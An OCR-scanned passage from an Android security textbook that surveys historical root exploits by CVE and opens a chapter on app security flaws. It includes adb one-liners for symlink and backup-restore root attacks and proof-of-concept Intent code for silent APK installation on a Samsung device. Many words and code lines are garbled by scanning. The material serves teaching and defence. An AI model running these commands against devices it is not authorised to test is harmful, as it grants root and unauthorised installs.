discovered as a vulnerability in the udev daemon used on x86 Linux systems. 
It was assigned CVE-2009-1185. Later, Google reintroduced the issue in thei ni t 
daemon, which handles the udev functionality in Android. 

The exploit relies on udev code failing to verify the origin of a NETLINK 
message. This failure allows a user-space process to gain privileges by send- 
ing audev event claiming to originate from the kernel, which was trusted. The 
original Exploid exploit released by Sebastian Krahmer (“The Android Exploid 
Crew”) had to be run from a writable and executable directory on the device. 

First, the exploit created a socket with a domain of PF_NETLINK and a fam- 
ily of NETLINK _KOBJECT _UEVENT (kernel message to user-space event). 
Second, it created a file hot pI ug inthe current directory, containing the path to 
the expl oid binary. Third, it created a symbolic link called dat a in the current 
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directory, pointing to/proc/sys/kernel/ hotplug. Finally, it sent a spoofed 
message to the NETLINK socket. 

When i nit received this message, and failed to validate its origin, it pro- 
ceeded to copy the contents of the hot pl ug file to the file dat a. It did this with 
root privileges. When the next hotplug event occurred (such as disconnecting 
and reconnecting the Wi-Fi interface), the kernel executed the exp! oi d binary 
with root privileges. 

At this point, the exploit code detected it was running with root privileges. 
It proceeded to remount the system partition in read/write mode and created 
a set-uid root shell as/system/bin/rootshell. 


Adbd: RageAgainstTheCage 


As discussed in the “Abusing adbd to Get Root” section, the ADB daemon (adbd 
process) starts running as root and drops privileges to the shell user. In Android 
versions up to 2.2, the ADB daemon did not check the return value of thes et ui d 
call when dropping privileges. Sebastian Krahmer used this missing check in 
adbd to create the RageAgainstTheCage exploit available at http: //stealth 
-openwall.net/xSports/RageAgainstTheCage.tgz. 

The exploit has to be run through the ADB shell (under the shell UID). Basically, 
it forks processes until the f or k call fails, meaning that the limit of process for 
that user has been reached. This is a kernel-enforced hard limit called RLIMIT _ 
NPROC, which specifies the maximum number of processes (or threads) that 
can be created for the real UID of the calling process. At this point, the exploit 
kills adbd, causing it to restart (as root again). Unfortunately, this time adbd 
can’t drop privileges to shell because the process limit has been reached for 
that user. The setuid call fails, adbd doesn’t detect this failure, and therefore 
continues running with root privileges. Once successful, adbd provides a root 
shell through adb shel! command. 


Zygote: Zimperlich and Zysploit 


Recall from Chapter 2 that all Android applications start by being forked from 
the Zygote process. As you might guess, the zy got e process runs as root. After 
forking, the new process drops its privileges to the UID of the target application 
using the setuid call. 

Very similar to RageAgainstTheCage, the Zygote process in Android versions 
up to 2.2 failed to check the return value of the call to set ui d when dropping 
privileges. Again, after exhausting the maximum number of processes for the 
application’s UID, zygote fails to lower its privileges and launches the applica- 
tion as root. 
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This vulnerability was exploited by Joshua Wise in early releases of the 
Unrevoked unlock tool. Later, when Sebastian Krahmer made the Zimperlich 
exploit sources public athttp://c-skills.blogspot.com.es/2011/02/ 
zi mperlich-sources. ht ml , Joshua Wise decided to open source his Zysploit 
implementation too, available at htt ps://github.com/unrevoked/zysploit. 


Ashmem: KillingInTheNameOf and psneuter 


The Android Shared Memory (ashmem) subsystem is a shared memory alloca- 
tor. It is similar to POSIX Shared Memory (SHM), but with different behavior 
and a simpler file-based application programming interface (API). The shared 
memory can be accessed via mmap or file I/O. 

Two popular root exploits used a vulnerability in the ashmem implementation 
of Android versions prior to 2.3. In affected versions, ashmem allowed any user 
to remap shared memory belonging to thei ni t process. This shared memory 
contained the system properties address space, which is a critical global data 
store for the Android operating system. This vulnerability has the Common 
Vulnerabilities and Exposures (CVE) identifier CVE-2011-1149. 

The KillingInTheNameOf exploit by Sebastian Krahmer remapped the sys- 
tem properties space to be writable and set the r o. secure property to 0. After 
rebooting or restarting adbd, the change in the ro. secure property enabled 
root access through the ADB shell. You can download the exploit from ht t p: // 
c-skills. blogspot.com. es/2011/01/adb-trickery-again. html. 

The psneuter exploit by Scott Walker (scotty2), used the same vulnerability 
to restrict permissions to the system properties space. By doing so, adbd could 
not read the value of the r o. secure property to determine whether or not to 
drop privileges to the shell user. Unable to determine the value of ro. secure, 
it assumed that ro. secure value was 0 and didn’t drop privileges. Again, this 
enabled root access through the ADB shell. You can download psneuter at 
https: //github.com/tmzt/g2root-kmod/tree/scotty2/scotty2/psneuter. 


Vold: GingerBreak 


This vulnerability has been assigned CVE-2011-1823 and was first demonstrated 
by Sebastian Krahmer in the GingerBreak exploit, available at ht tp://c¢- skills 
blogspot.com es/2011/04/yummy- yummy- gingerbreak. html. 


The volume manager daemon (vold) on Android 3.0 and 2.x before 2.3.4 
trusts messages that are received from a PF_NETLINK socket, which allows 
executing arbitrary code with root privileges via a negative index that 
bypasses a maximum-only signed integer check. 


Chapter 3 = Rooting Your Device 


Prior to triggering the vulnerability, the exploit collects various information 
from the system. First, it opens/ proc/net/ net! ink and extracts the process iden- 
tifier (PID) of the vol d process. It then inspects the system’s C library ( i bc. so) 
to find thes yst emand strcmp symbol addresses. Next, it parses the Executable 
and Linkable Format (ELF) header of the vol d executable to locate the Global 
Offset Table GOT) section. It then parses the vol d. fst ab file to find the device's 
/sdcard mount point. Finally, in order to discover the correct negative index 
value, it intentionally crashes the service while monitoring logcat output. 

After collecting information, the exploit triggers the vulnerability by sending 
malicious NETLINK messages with the calculated negative index value. This 
causes vol d to change entries in its own GOT to point to the syst em function. 
After one of the targeted GOT entries is overwritten, vol d ends up executing 
the Gi nger Break binary with root privileges. 

When the exploit binary detects that it has been executed with root privileges, 
it launches the final stage. Here, the exploit first remounts / dat a to remove the 
nosuid flag. Then it makes/ dat a/|ocal/tmp/sh set-uid root. Finally, it exits the 
new process (running as root) and executes the newly created set-uid root shell 
from the original exploit process. 

A more detailed case study of this vulnerability is provided in the “GingerBreak” 
section of Chapter 8. 


PowerVR: levitator 


In October 2011, Jon Larimer and Jon Oberheide released the levitator exploit at 
http://jon.oberheide.org/files/levitator.c. This exploit uses two distinct 
vulnerabilities that affect Android devices with the PowerVR SGX chipset. The 
PowerVR driver in Android versions up to 2.3.5 specifically contained the fol- 
lowing issues. 


CVE-2011-1350: The PowerVR driver fails to validate the length parameter 
provided when returning a response data to user mode from an ioctl sys- 
tem call, causing it to leak the contents of up to 1MB of kernel memory. 
CVE-2011-1352: A kernel memory corruption vulnerability that leads any 
user with access to /dev/pvrsrvkm to have write access to the previous 
leaked memory. 


The levitator exploit takes advantage of these two vulnerabilities to surgically 
corrupt kernel memory. After achieving privilege escalation, it spawns a shell. 
A more detailed case study of this vulnerability is provided in Chapter 10. 
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Libsysutils: zergRush 


The Revolutionary team released the popular zergRush exploit in October 2011; 
sources are available athttps://github.com/revolutionary/zergRush. The 
vulnerability exploited was assigned CVE-2011-3874, as follows: 


Stack-based buffer overflow in libsysutils in Android 2.2.x through 2.2.2 
and 2.3.x through 2.3.6 allows user-assisted remote attackers to execute 
arbitrary code via an application that calls the FrameworkListener:: 
dispatchCommand method with the wrong number of arguments, as 
demonstrated by zergRush to trigger a use-after-free error. 


The exploit uses the Volume Manager daemon to trigger the vulnerability, 
as it is linked against the | i bsysutils.so library and runs as root. Because the 
stack is non-executable, the exploit constructs a Return Oriented Programming 
(ROP) chain using gadgets from | i bc. so library. It then sends vol d a specially 
crafted Fr amewor kCommand object, making the RunCommand point to the exploit’s 
ROP payload. This executes the payload with root privileges, which drops a root 
shell and changes ther o. kernel. qemu property to 1. As mentioned previously, 
this causes ADB to restart with root privileges. 

A more detailed case study of this vulnerability is provided in Chapter 8. 


Kernel: mempodroid 


The vulnerability was discovered by Jiiri Aedla, and was assigned CVE identi- 
fier CVE-2012-0056: 


The mem_write function in Linux kernel 2.6.39 and other versions, when 
ASLR is disabled, does not properly check permissions when writing to / 
proc/<pid>/mem, which allows local users to gain privileges by modifying 
process memory, as demonstrated by Mempodipper. 


The / proc/ <pid>/ mem proc file system entry is an interface that can be used 
to access the pages of a process’s memory through POSIX file operations such 
asopen,r ead, and | seek. In kernel version 2.6.39, the protections to access other 
processes memory were mistakenly removed. 

Jay Freeman (saurik) wrote the mempodroid exploit for Android based on 
a previous Linux exploit, mempodipper, by Jason A. Donenfeld (zx2c4). The 
mempodroid exploit uses this vulnerability to write directly to the code seg- 
ment of the run- as program. This binary, used to run commands as a specific 
application UID, runs set-uid root on stock Android. Because r un- as is statically 
linked on Android, the exploit needs the address in memory of the set resuid 
call and the exi t function, so that the payload can be placed exactly at the right 
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place. Sources for the mempodroid exploit are available at htt ps:// github. 
com/saurik/ mempodroid. 
A more detailed case study of this vulnerability is provided in Chapter 8. 


File Permission and Symbolic Link-Related Attacks 


There are plenty of file permission and symbolic link-related attacks present in 
a range of devices. Most of them are introduced by custom OEM modifications 
that are not present in stock Android. Dan Rosenberg has discovered many of 
these bugs and has provided very creative root methods for a comprehensive 
list of devices in his blog athttp://vulnfactory. org/blog/. 

Initial versions of Android 4.0 had a bug in thei ni t functions for do_chmod, 
mkdir ,anddo_chown that applied the ownership and file permissions specified 
even if the last element of their target path was a symbolic link. Some Android 
devices have the following line in their i ni t. rc script. 


mkdir /data/local/tmp 0771 shell shel | 


As you can guess now, if the / dat a/|ocal folder is writeable by the user or 
group shell, you can exploit this flaw to make the / dat a folder writeable by 
replacing / dat a/!ocal/tmp with a symbolic link to/ data and rebooting the 
device. After rebooting, you can create or modify the/ dat a/|ocal. prop file to 
set the property ro. kernel. qemu to 1. 

The commands to exploit this flaw are as follows: 

adb shell rm -r /data/local/tmp 

adb shell In -s /data/ /data/local/tmp 

adb reboot 


adb shell "echo 'ro.kernel.qemu=1' > /data/local. prop" 
adb reboot 


Another popular variant of this vulnerability links / dat a/|ocal/tmp to the 
system partition and then uses debugfs to write the s u binary and make it set- 
uid root. For example, the ASUS Transformer Prime running Android 4.0.3 is 
vulnerable to this variant. 

The init scripts in Android 4.2 apply O _NOFOLLOW semantics to prevent 
this class of symbolic link attacks. 


Adb Restore Race Condition 


Android 4.0 introduced the ability to do full device backups through the a d b 
backup command. This command backs up all data and applications into the 
file backup. ab, which is a compressed TAR file with a prepended header. The 
adb restore command is used to restore the data. 

There were two security issues in the initial implementation of the restore 
process that were fixed in Android 4.1.1. The first issue allowed creating files and 
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directories accessible by other applications. The second issue allowed restoring 
file sets from packages that run under a special UID, such as system, without a 
special backup agent to handle the restore process. 

To exploit these issues, Andreas Makris (Bin4ry) created a specially crafted 
backup file with a world readable/writeable/executable directory containing 
100 files with the contentro. kernel. qemu=1 andro. secure=0 inside it. When 
the contents of this file are written to/ data/local.prop,it makes adbd run 
with root privileges on boot. The original exploit can be downloaded at ht t p: | / 
forum. xda-developers.com/showthread. php?t =1886460. 

The following one-liner, if executed while the adb restore command is run- 
ning, causes a race between the restore process in the backup manager service 
and the whi | e loop run by the shell user: 


adb shell "while ! In -s /data/local.prop \ 
[/data/data/com.android.settings/a/file99; do :; done" 


If the loop creates the symbolic link inf i | e99 before the restore process restores 
it, the restore process follows the symbolic link and writes the read-only system 
properties to/ data/|local. prop, making adbd run as root in the next reboot. 


Exynos4: exynos-abuse 


This vulnerability exists in a Samsung kernel driver and affects devices 
with an Exynos 4 processor. Basically, any application can access the / dev 
/ exynos mem device file, which allows mapping all physical RAM with read and 
write permissions. 

The vulnerability was discovered by alephzain, who wrote the exynos- 
abuse exploit to demonstrate it and reported it on XDA-developers forums. The 
original post is available at htt p:// forum. xda-developers. com/showthread 
.php?t=2048511. 

First, the exploit maps kernel memory and changes the format string for the 
function handling / proc/kal|syms in order to avoid the kptr_restrict kernel miti- 
gation. Then it parses / proc/kal|lsyms to find the address of thesys_setresuid 
system call handler function. Once found, it patches the function to remove 
a permission check and executes the set resui d system call in user space to 
become root. Finally, it reverses the changes it made to kernel memory and 
executes a root shell. 

Later, alephzain created a one-click rooting application called Framaroot. 
Framaroot embeds three variants of the original bug, which each allows unprivi- 
leged users to map arbitrary physical memory. This application works on devices 
based on the Exynos4 chipset and as well as devices based on the TI OMAP3 
chipset. Most notably, alephzain discovered that Samsung did not properly fix 
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the Exynos4 issue. He embedded a new exploit in Framaroot that exploits an 
integer overflow present in the Samsung fix. This allows bypassing the additional 
validation and again enables overwriting kernel memory. These new exploits 
were silently included in Farmaroot by alephzain and later uncovered and 
documented by Dan Rosenberg at htt p:// blog. azimuthsecurity.com/2013/02/ 
re-visiting-exynos-memory-mapping-bug. html. 


Diag: lit / diaggetroot 


This vulnerability was discovered by giantpune and was assigned CVE identi- 
fier CVE-2012-4220: 


diagchar_core.c in the Qualcomm Innovation Center (QuIC) Diagnostics 
(aka DIAG) kernel-mode driver for Android 2.3 through 4.2 allows attack- 
ers to execute arbitrary code or cause a denial of service (incorrect pointer 
dereference) via an application that uses crafted arguments in a local 
diagchar_ioctl call. 


The lit exploit used this vulnerability to cause the kernel to execute native 
code from user-space memory. By reading from the /sys/class/leds/ 
|cd- backlight/reg file, it was possible to cause the kernel to process data 
structures in user-space memory. During this processing, it called a function 
pointer from one of the structures, leading to privilege escalation. 

The diaggetroot exploit, for the HTC J Butterfly device, also used this vulner- 
ability. However, on that device, the vulnerable character device is only acces- 
sible by user or group radio. To overcome this situation, the researcher abused 
a content provider to obtain an open file descriptor to the device. Gaining 
root using this method was only possible with the combination of the two 
techniques. You can download the exploit code at htt ps:// docs. google. com/ 
file/d/OB8LDObFOpzZqQzducmxj REXXNnM/edit?pli=l. 


Summary 


Rooting an Android device gives you full control over the Android system. 
However, if you don’t take any precautions to fix the open paths to gain root 
access, the system security can be easily compromised by an attacker. 

This chapter described the key concepts to understand the rooting process. It 
went through legitimate boot loader unlock methods, such as the ones present 
in devices with an unlocked boot loader, as well as other methods that allow 
gaining and persisting root access on a device with a locked boot loader. Finally, 
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you saw an overview of the most famous root exploits that have been used dur- 
ing the past decade to root many Android devices. 

The next chapter dives into Android application security. It covers common 
security issues affecting Android applications and demonstrates how to use 
free, public tools to perform application security assessments. 


Reviewing Application Security 


Application security has been a hot-button topic since even before Android 
existed. During the onset of the web application craze, developers flocked to 
quickly develop applications, overlooking basic security practices or using 
frameworks without adequate security controls. With the advent of mobile 
applications, that very same cycle is repeating. This chapter begins by discuss- 
ing some common security issues in Android applications. It concludes with 
two case studies demonstrating discovery and exploitation of application flaws 
using common tools. 


Common Issues 


With traditional application security, there are numerous issues that crop up 
repeatedly in security assessment and vulnerability reports. Types of issues 
range from sensitive information leaks to critical code or command execution 
vulnerabilities. Android applications aren’t immune to these flaws, although 
the vectors to reach those flaws may differ from traditional applications. 

This section covers some of the security issues typically found during Android 
app security testing engagements and public research. This is certainly not an 
exhaustive list. As secure app development practices become more common- 
place, and Android’s own application programming interfaces (APIs) evolve, 
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it is likely that other flaws—perhaps even new classes of issues—will come to 
the forefront. 


App Permission Issues 


Given the granularity of the Android permission model, there is an opportunity 
for developers to request more permissions for their app than may be required. 
This behavior may be due in part to inconsistencies in permission enforcement 
and documentation. Although the developer reference docs describe most of the 
permission requirements for given classes and methods, they’re not 100 percent 
complete or 100 percent accurate. Research teams have attempted to identify 
some of these inconsistencies in various ways. For example, in 2012, researchers 
Andrew Reiter and Zach Lanier attempted to map out the permission require- 
ments for the Android API available in Android Open Source Project (AOSP). 
This led to some interesting conclusions about these gaps. 

Among some of the findings in this mapping effort, they discovered incon- 
sistencies between documentation and implementation for some methods in 
the Wi Fi Manager class. For example, the developer documentation does not 
mention permission requirements for the st ar t Scan method. Figure 4-1 shows 
a screenshot of the Android development documentation of this method. 


public boolean startScan () APILA 


Request a scan for access points. Returns immediately. The availability of the results is made known later by 
means of an asynchronous event sent on completion of the scan 


Returns 
true |f the operation succeeded, |.e., the scan was initiated 


Figure 4-1: Documentation for startScan 


This differs from the actual source code for this method (in Android 4.2), 
which indicates a call to enf or ceCallingOrSel f Permission, which checks 
to see if the caller bears the ACCESS_WIFI_STATE permission by way of 
enforceChangePer mi ssi on: 

public void startScan(boolean forceActive) { 
enforceChangePermi ssi on(); 
mWifiStateMachine.startScan(forceActive); 
noteScanStart(); 


} 


private void enforceChangePermission() { 
mContext.enforceCallingOrSelfPermission(android. Manifest. 
permission. CHANGE _WIFI_STATE, 
"WifiService"); 
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Another example is the get Nei ghboringCelllnfo method in the 
Tel ephonyManager class, whose documentation specifies a required permis- 
sion of ACCESS_COARSE_UPDATES. Figure 4-2 shows a screenshot of the Android 
development documentation for this method. 


public List<NeighboringCellinfo> getNeighboringCellinfo () 
Returns the neighboring cell information of the device. 


Returns 
List of NeighboringCellinfo or null if info unavailable 
Requires Permission: (@link android.Manifest.permission#ACCESS_COARSE_UPDATES) 


Figure 4-2: Documentation for getNeighboringCelllnfo 


However, if you look through the source code of the Phonel nterfaceManager 
class (in Android 4.2), which implements the Tel ephony interface, you see the 
get Nei ghboringCell Info method actually checks for the presence of the ACCESS_ 
FI NE_LOCATI ON or ACCESS _COARSE_LOCATI ON permissions—neither of which are 
the nonexistent, invalid permission specified in the documentation: 


public List<NeighboringCelllnfo> getNeighboringCelllnfo() { 
try { 
mApp. enforceCallingOrSelfPermissi on( 
android. Manifest. permission. ACCESS FINE _LOCATI ON 
null); 
} catch (SecurityException e) { 
I] If we have ACCESS FINE_LOCATION permission, skip the check 
I] for ACCESS COARSE_LOCATI O 
// A failure should throw the SecurityException from 
// ACCESS _COARSE_LOCATION since this is the weaker precondition 
mApp. enforceCallingOrSelfPermissi on( 
android. Manifest. permission. ACCESS COARSE_LOCATION, null); 


} 


These kinds of oversights, while perhaps seemingly innocuous, often lead to 
bad practices on the part of developers, namely undergranting or, worse, overgrant- 
ing of permissions. In the case of undergranting, it’s often a reliability or func- 
tionality issue, as an unhandled Securit yExcepti on leads to the app crashing. 
As for overgranting, it’s more a security issue; imagine a buggy, overprivileged 
app exploited by a malicious app, effectively leading to privilege escalation. 

For more information on the permission mapping research, see 
www. slideshare.net/quineslideshare/ mapping-and-evolution-of-android- 
permissions. 

When analyzing Android applications for excessive permissions, it’s important 
to compare what permissions are requested to what the application’s purpose 
really is. Certain permissions, such as CAMERA and SEND_ SMS, might be excessive 
for a third-party app. For these, the desired functionality can be achieved by 
deferring to the Camera or Messaging applications, and letting them handle 


85 


86 


Chapter 4 = Reviewing Application Security 


the task (with the added safety of user intervention). The “Mobile Security 
App” case study later in the chapter demonstrates how to identify where in the 
application’s components those permissions are actually exercised. 


Insecure Transmission of Sensitive Data 


Because it receives constant scrutiny, the overall idea of transport security (for 
example, SSL, TLS, and so on) is generally well understood. Unfortunately, this 
doesn’t always apply in the mobile application world. Perhaps due to a lack of 
understanding about how to properly implement SSL or TLS, or just the incorrect 
notion that “if it’s over the carrier’s network, it’s safe,” mobile app developers 
sometimes fail to protect sensitive data in transit. 

This issue tends to manifest in one or more of the following ways: 


m Weak encryption or lack of encryption 


m Strong encryption, but lack of regard for security warnings or certificate 
validation errors 


m Use of plain text after failures 


m Inconsistent use of transport security per network type (for example, cell 
versus Wi-Fi) 


Discovering insecure transmission issues can be as simple as capturing traffic 
sent from the target device. Details on building a man-in-the-middle rig are out- 
side the scope of this book, but numerous tools and tutorials exist for facilitating 
this task. In a pinch, the Android emulator supports both proxying of traffic as 
well as dumping traffic to a PCAP-format packet trace. You can achieve this by 
passing the - htt p- proxy or- tcpdump options, respectively. 

A prominent public example of insecure data transmission was in the imple- 
mentation of Google ClientLogin authentication protocol in certain components 
of Android 2.1 through 2.3.4. This protocol allows for applications to request an 
authentication token for the user’s Google account, which can then be reused 
for subsequent transactions against a given service’s API. 

In 2011, University of Ulm researchers found that the Calendar and Contacts 
apps on Android 2.1 through 2.3.3 and the Picasa Sync service on Android 2.3.4 
sent the Google ClientLogin authentication token over plaintext HTTP. After 
an attacker obtained this token, it could be reused to impersonate the user. As 
numerous tools and techniques exist for conducting man-in-the-middle attacks 
on Wi-Fi networks, interception of this token would be easy—and would spell 
bad news for a user on a hostile or untrusted Wi-Fi network. 

For more information on the University of Ulm’s Google ClientLogin findings, 
see www. uni-ulm.de/en/in/mi/staff/koenings/catching-authtokens. htm. 
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Insecure Data Storage 


Android offers multiple standard facilities for data storage—namely Shared 
Preferences, SQLite databases, and plain old files. Furthermore, each of these 
storage types can be created and accessed in various ways, including managed 
and native code, or through structured interfaces like Content Providers. The 
most common mistakes include plaintext storage of sensitive data, unprotected 
Content Providers (discussed later), and insecure file permissions. 

One cohesive example of both plaintext storage and insecure file permissions 
is the Skype client for Android, which was found to have these problems in 
April 2011. Reported by Justin Case (jcase) via ht tp://AndroidPolice. com, the 
Skype app created numerous files, such as SQLite databases and XML files, with 
world-readable and world-writable permissions. Furthermore, the content was 
unencrypted and included configuration data and IM logs. The following out- 
put shows jcase’s own Skype app data directory, as well as partial file contents: 


# 1s -I /data/data/com skype. merlin_mecha/files/jcaseap 

-rw-rw-rw- app 152 app_152 331776 2011-04-13 00:08 main. db 
-rw-rw-rw- app_152  app_152 119528 2011-04-13 00:08 main. db-j ournal 
-rw-rw-rw- app_152 app_152 40960 2011-04-11 14:05 keyval.db 
-rw-rw-rw- app_152  app_152 3522 2011-04-12 23:39 config. xml 


drwxrwxrwx app_152 app_152 2011-04-11 14:05 voicemail 
-rw-rw-rw- app_152  app_152 0 2011-04-11 14:05 config. Ick 
-rw-rw-rw- app_152  app_152 61440 2011-04-13 00:08 bistats.db 
drwxrwxrwx app_152 app_152 2011-04-12 21:49 chatsync 


-rw-rw-rw- app_152 app_152 12824 2011-04-11 14:05 keyval.db-journal 
-rw-rw-rw- app_152 app_152 33344 2011-04-13 00:08 bistats.db-journal 


# grep Default /data/data/com skype. merlin_mecha/files/shared. xml 
<Default>j caseap</Default> 


The plaintext storage aspect aside, the insecure file permissions were the result 
of a previously less-well publicized issue with native file creation on Android. 
SQLite databases, Shared Preferences files, and plain files created through Java 
interfaces all used a file mode of 0660. This rendered the file permissions read/ 
write for the owning user ID and group ID. However, when any files were cre- 
ated through native code or external commands, the app process inherited the 
umask of its parent process, Zygote—a umask of 000, which means world read/ 
write. The Skype client used native code for much of its functionality, including 
creating and interacting with these files. 


ikem As of Android 4.1, the umask for Zygote has been set to a more secure value 
of 077. More information about this change is presented in Chapter 12. 
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For more information on jcase’s discovery in Skype, see www. androidpolice 
.com/ 2011/04/14/exclusive-vulnerability-in-skype-for-android-is 
-exposing- your-name- phone- number-chat-logs-and-a-|ot-more/. 


Information Leakage Through Logs 


Android's log facility is a great source of information leaks. Through develop- 
ers’ gratuitous use of log methods, often for debugging purposes, applications 
may log anything from general diagnostic messages to login credentials or 
other sensitive data. Even system processes, such as the ActivityManager, log 
fairly verbose messages about Activity invocation. Applications bearing the 
READ_LOGS permission can obtain access to these log messages (by way of 
the | ogcat command). 


kee} TheREAD LOGS permission is no longer available to third-party applications 
as of Android 4.1. However, for older versions, and rooted devices, third-party access 
to this permission and to the! 0g¢ at command is still possible. 


As an example of ActivityManager’s logging verbosity, consider the follow- 
ing log snippet: 

|/ActivityManager(13738): START {act=android.intent. action. VIEW 

dat =http:// www. wiley. com 

cmp=com. google. android. browser/com. android. browser. BrowserActivity 

(has extras) u=0} from pid 11352 

|/ActivityManager(13738): Start proc com. google. android. browser for 

activity com. google. android. browser/com. android. browser. BrowserActivity: 

pid=11433 uid=10017 gids={3003, 1015, 1028} 


You see the stock browser being invoked, perhaps by way of the user tapping 
a link in an e-mail or SMS message. The details of the Intent being passed are 
clearly visible, and include the URL (htt p: / / www. wil ey. com/ ) the user is visit- 
ing. Although this trivial example may not seem like a major issue, under these 
circumstances it presents an opportunity to garner some information about a 
user’s web-browsing activity. 

A more cogent example of excessive logging was found in the Firefox browser 
for Android. Neil Bergman reported this issue on the Mozilla bug tracker in 
December 2012. Firefox on Android logged browsing activity, including URLs 
that were visited. In some cases, this included session identifiers, as Neil pointed 
out in his bug entry and associated output from the | 0gcat command: 

|/GeckoBrowserApp(17773): Favicon successfully loaded for URL = 

https:// mobile. wal mart. com/m/ pharmacy; jsessi oni d=83CB330691854B071CD172D41DC2C3 

AB 


|/GeckoBrowserApp(17773): Favicon is for current URL = 
https:// mobile. wal mart. com/m/ pharmacy; j|sessi oni d=83CB330691854B071CD172D41DC2C3 
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AB 

E/ GeckoConsole(17773): [JavaScript Warning: "Error in parsing value for 
‘background'. Declaration dropped." {file: 

"https: // mobile. wal mart. com/m/pharmacy;jsessi oni d=83CB330691854B071CD172D41DC2C 
3AB? wi cket: bookmarkabl ePage=:com. wm. mobile. web.rx. privacy. PrivacyPractices" 
line: O}] 


In this case, a malicious application (with log access) could potentially harvest 
these session identifiers and hijack the victim’s session on the remote web appli- 
cation. For more details on this issue, see the Mozilla bug tracker at htt ps: // 
bugzilla. mozilla.org/show_bug.cgi?id=825685. 


Unsecured IPC Endpoints 


The common interprocess communication (IPC) endpoints—Services, Activities, 
BroadcastReceivers, and Content Providers—are often overlooked as poten- 
tial attack vectors. As both data sources and sinks, interacting with them is 
highly dependent on their implementation; and their abuse case dependent on 
their purpose. At its most basic level, protection of these interfaces is typically 
achieved by way of app permissions (either standard or custom). For example, an 
application may define an IPC endpoint that should be accessible only by other 
components in that application or that should be accessible by other applications 
that request the required permission. 

In the event that an IPC endpoint is not properly secured, or a malicious app 
requests—and is granted—the required permission, there are specific consider- 
ations for each type of endpoint. Content Providers expose access to structured 
data by design and therefore are vulnerable to a range of attacks, such as injection 
or directory traversal. Activities, as a user-facing component, could potentially 
be used by a malicious app in a user interface (UI)—redressing attack. 

Broadcast Receivers are often used to handle implicit Intent messages, or 
those with loose criteria, such as a system-wide event. For instance, the arrival 
of anew SMS message causes the Telephony subsystem to broadcast an implicit 
Intent with the SMS_RECEI VED action. Registered Broadcast Receivers with 
an intent-filter matching this action receive this message. However, the priority 
attribute of intent-filters (not unique just to Broadcast Receivers) can determine 
the order in which an implicit Intent is delivered, leading to potential hijacking 
or interception of these messages. 


Akoga Implicit Intents are those without a specific destination component, whereas 
explicit Intents target a particular application and application component (such as 
“com.wiley.exampleapp.SomeActivity”). 


Services, as discussed in Chapter 2, facilitate background processing for an 
app. Similar to Broadcast Receivers and Activities, interaction with Services is 
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accomplished using Intents. This includes actions such as starting the service, 
stopping the service, or binding to the service. A bound service may also expose 
an additional layer of application-specific functionality to other applications. 
Since this functionality is custom, a developer may be so bold as to expose a 
method that executes arbitrary commands. 

A good example of the potential effect of exploiting an unprotected IPC 
interface is Andre “sh4ka” Moulu’s discovery in the Samsung Kies application 
on the Galaxy S3. sh4ka found that Kies, a highly privileged system application 
(including having the | NSTALL_ PACKAGES permission) had a BroadcastReceiver 
that restored application packages (APKs) from the/ sdcard/ restore directory. 
The following snippet is from sh4ka’s decompilation of Kies: 


public void onReceive(Context paramContext, Intent paramlntent) 


{ 


if (param ntent. getAction().toString().equals( 
"comintent.action. KIES START RESTORE _APK") 


{ 
kies_start.m_nKiesActionEvent = 15; 
int i3 = Log. w("KIES_START", 
"KI ES ACTION _EVENT_SZ_START_RESTORE_APK"); 
byte[] arrayOfBytell = new byte[6]; 
byte[] arrayOfBytel2 = paramintent.getByteArrayExtra("head") 
byte[] arrayOfBytel3 = paramlntent.getByteArrayExtra("body") 
byte[] arrayOfBytel4 = new byte[arrayOfBytel3.length] 
int i4 = arrayOfBytel3.length; 
System. arraycopy(arrayOfBytel3, 0, arrayOfBytel4, 0, i 4); 


StartKiesService(paramContext, arrayOfBytel2, arrayOfBytel4); 
eturn; 


} 


In the code you see the onRecei ve method accepting an Intent, parami ntent. 
The call to get Acti on checks that the value of the action field of parami ntent is 
KIES_START_RESTORE_APK. If this is true, the method extracts a few extra values, 
head and body, from par aml nt ent and then invokes St art Ki esService. The call 
chain ultimately results in Kies iterating through / sdcar d/r estore, installing 
each APK therein. 

In order to place his own APK in/ s dcard/ restore with no permissions, sh4ka 
exploited another issue that yielded the WRI TE_EXTERNAL_STORAGE privilege. 
In his write-up “From 0 perm app to INSTALL_PACKAGES,” sh4ka targeted 
the Cl i pboardSaveService on the Samsung GS3. The following code snippet 
demonstrates this: 

Intent intentCreateTemp = new Intent("com android.clipboardsaveservice. 

CLIPBOARD SAVE_SERVICE"); 


intentCreateTemp. putExtra("copyPath", "/data/data/"+get PackageName() + 
"Ifiles/avast.apk"); 
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intentCreateTemp. putExtra("pastePath", 
"ITdata/data/com android.clipboardsaveservice/temp/"); 
startService(intentCreateTemp) ; 


Here, sh4ka’s code creates an Intent destined forcom. android.clipboardsave- 
service. CLIPBOARD SAVE_SERVI CE, passing in extras containing the source path 
of his package (in the fi | es directory of his proof-of-concept app’s datastore) 
and the destination path of /sdcard/restore. Finally, the calltostartService 
sends this Intent off, and Cli pboardService effectively copies the APK to 
/sdcard. All of this happens without the proof-of-concept app holding the 
WRI TE_EXTERNAL_STORAGE permission. 

In the coup de grace, the appropriate Intent is sent to Kies to gain arbitrary 
package installation: 

Intent intentStartRestore = 

new Intent("com intent. action. KIES_START_RESTORE_APK") 

intentStartRestore. putExtra("head", new String("cocacola").getBytes()); 


intentStartRestore. putExtra("body", new String("cocacola").getBytes()); 
sendBroadcast(intentStartRestore) 


For more information on sh4ka’s work, check his blog post atht tp: //sh4ka. 
fr/android/galaxys3/from Opermto_INSTALL_ PACKAGES on_galaxy_S3. htm. 


Case Study: Mobile Security App 


This section walks through assessing a mobile security/anti-theft Android 
application. It introduces tools and techniques for static and dynamic analysis 
techniques, and you see how to perform some basic reverse engineering. The 
goal is for you to better understand how to attack particular components in 
this application, as well as uncover any interesting flaws that may assist in that 
endeavor. 


Profiling 


In the Profiling phase, you gather some superficial information about the tar- 
get application and get an idea of what you're up against. Assuming you have 
little to no information about the application to begin with (sometimes called 
the “zero-knowledge” or the “black box” approach), it’s important to learn a 
bit about the developer, the application’s dependencies, and any other notable 
properties it may have. This will help in determining what techniques to employ 
in other phases, and it may even reveal some issues on its own, such as utilizing 
a known-vulnerable library or web service. 

First, get an idea of the purpose of the application, its developer, and the 
development history or reviews. Suffice it to say that apps with poor security 
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track records that are published by the same developer may share some issues. 
Figure 4-3 shows some basic information for a mobile device recovery/antitheft 
application on the Google Play web interface. 


Description 
3 Tweet 
Mobile Rescue 
ABOUT THIS APP 
Keep your mobile phone safe and sound marae 
Kee 
